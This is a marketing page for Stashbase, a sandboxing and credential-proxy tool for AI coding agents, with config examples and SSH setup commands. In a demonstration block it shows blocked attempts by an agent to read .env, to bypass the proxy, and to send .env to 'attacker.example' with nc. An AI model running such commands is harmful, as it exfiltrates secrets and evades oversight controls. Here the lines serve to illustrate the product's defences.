Access control forClaude Code
Stop approving every command or letting agents run unchecked. Sandbox them with rules for files, APIs, and credentials they never see.
$
curl -fsSL https://stashbase.dev/cli/install.sh | bashFree forever: sandboxing, proxy access, and unlimited profiles.
Give agents access, not your credentials
Let coding agents use the APIs, tools, and credentials they need, without ever seeing the raw secrets.
egress_hosts = ["chatgpt.com", "*.chatgpt.com", "api.openai.com"]
[secrets]
project = "project"
environment = "api-staging"
[secrets.GITHUB_TOKEN]
env = "GITHUB_TOKEN"
[[secrets.GITHUB_TOKEN.rules]]
effect = "allow"
hosts = ["api.github.com"]
methods = ["GET"]
paths = ["/repos/*/*/issues*"]
[personal_credentials.LINEAR_API_KEY]
env = "LINEAR_API_KEY"
[[personal_credentials.LINEAR_API_KEY.rules]]
effect = "allow"
hosts = ["mcp.linear.app"]
methods = ["GET", "POST"]
paths = ["/mcp"]Bring your own secrets
Keep them in 1Password or Bitwarden. Stashbase only borrows a key for the moment your agents need it.
Coming soon. 1Password and Bitwarden are trademarks of their respective owners and are not affiliated with Stashbase.
[personal_credentials.LINEAR_API_KEY]
env = "LINEAR_API_KEY"
[[personal_credentials.LINEAR_API_KEY.rules]]
effect = "allow"
hosts = ["mcp.linear.app"]
methods = ["GET", "POST"]
paths = ["/mcp"]
[mcp_servers.linear]
url = "https://mcp.linear.app/mcp"
binding = "LINEAR_API_KEY"
allow_tools = ["*"]
deny_tools = ["delete_issue"]Let it use MCP tools, minus the dangerous ones.
Credentials stay at the boundary
Bindings inject authentication without exposing its value.
Allowed tools are visible
Unauthorized tools are filtered from the server’s tool list.
Denied tools cannot run
Calls outside policy are rejected before they reach the server.
Choose the right boundary
Use the same profile with either proxy. Your agent runs on your machine in both cases; only the place where credentials are injected changes.
The proxy on your machine adds credentials to allowed requests. Use secrets from a local file or a Stashbase project.
Your machine never holds the secret, so a compromised laptop has nothing to steal. See and revoke every session.
Say yes to more agent runs
With Docker, the agent reaches the network only through Stashbase, so your rules hold even when you stop watching.
$ cat .env
cat: .env: Permission denied
# denied by the profile
$ env -u HTTPS_PROXY curl https://example.com
curl: (7) Failed to connect
# can't skip the proxy: blocked by the firewall
$ nc attacker.example 4444 < .env
# blocked: only HTTP(S) through the proxy is allowed
$ nc -z host.docker.internal 5432
# blocked: no route to the host or private networks
$ curl -u "$STRIPE_SECRET_KEY:" \
https://api.stripe.com/v1/charges
# 200 OK: allowed, real key injected by the proxyA firewall, not just env vars
Each sandbox has its own firewall with no direct route to the internet, your host, or private networks. The only way out is the Stashbase proxy.
$ env -u HTTPS_PROXY curl … → blockedRules the agent can’t touch
The firewall sits outside the agent’s reach, so even a compromised agent can’t switch it off.
disable firewall → permission deniedTwo backends, same profile
An OS-level sandbox by default, with nothing extra to install. Or switch to Docker for container isolation, where the agent sees only your project.
backend = "native" | "docker"Bring your own image
Use the default image with Claude Code and Codex preinstalled, or bring your own. Custom images add tools, never privileges.
dockerfile = "./sandbox.Dockerfile"Run agents on a server, not your laptop
Run your agents on a server you reach over SSH, with the same profiles, sandbox and proxy.
$ stashbase ssh install mybox
# a host from ~/.ssh/config, or user@host
$ stashbase ssh setup mybox
# sign in on the server, then check the key and Docker
$ stashbase ssh open mybox
# attached to the server's stashbase tmux session
mybox $ stashbase agent run --profile coding -- claudeKeeps running when you leave
Agents run in a tmux session on the server and keep going when you close your laptop. Reattach from anywhere, even your phone.
detach → agents keep runningYour laptop’s key stays put
The server gets its own key, which you can revoke anytime. The key on your laptop is never copied.
one machine, one keyYour own SSH, nothing new
Stashbase uses the ssh you already have, with your config, keys, and jump hosts.
stashbase ssh install user@hostDev servers on localhost
Forward a port so the app the agent is working on opens on your laptop.
stashbase ssh open mybox --port 3000Works with x86_64 Linux servers and Apple Silicon Macs. Use one machine per developer.
See how remote machines workOne secrets manager for teams and agents
Keep team secrets, personal credentials, and secrets only your agents use in one workspace. Each agent profile picks what it needs.
Share secrets with your team and your agents
Projects and environments group secrets however your work is organized, and agent profiles pull from them.
Keep your own credentials yours
Personal credentials stay on Stashbase servers. Only the remote proxy uses them, for requests you allow.
Decide who can change what
Roles and teams control who can read or change each environment.
Keep your existing tools in sync
Sync secrets with GitHub, Vercel, GCP Secret Manager, and AWS Secrets Manager.
Let your agents do more, starting today.
Sandboxing, proxy access, and unlimited profiles are free forever. Start with one project and bring in your team when you’re ready.